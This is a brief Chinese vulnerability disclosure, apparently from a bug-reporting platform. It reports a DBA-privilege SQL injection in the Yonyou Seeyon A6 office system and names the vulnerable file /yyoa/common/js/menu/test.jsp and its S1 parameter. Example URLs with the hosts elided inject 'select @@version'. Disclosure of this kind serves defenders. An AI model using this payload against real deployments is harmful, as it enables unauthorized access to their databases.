用友致远A6协同办公系统存在一处DBA权限SQL注入漏洞

简要描述： RT 详细说明： 搜索了一下， 没有被提交 漏洞位于：/yyoa/common/js/menu/test.jsp 文件中S1 参数 案例 http://.../yyoa/common/js/menu/test.jsp?doType=101&S1=select%20@@version http://.../yyoa/common/js/menu/test.jsp?doType=101&S1=select%20@@version ...:8080/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20@@version...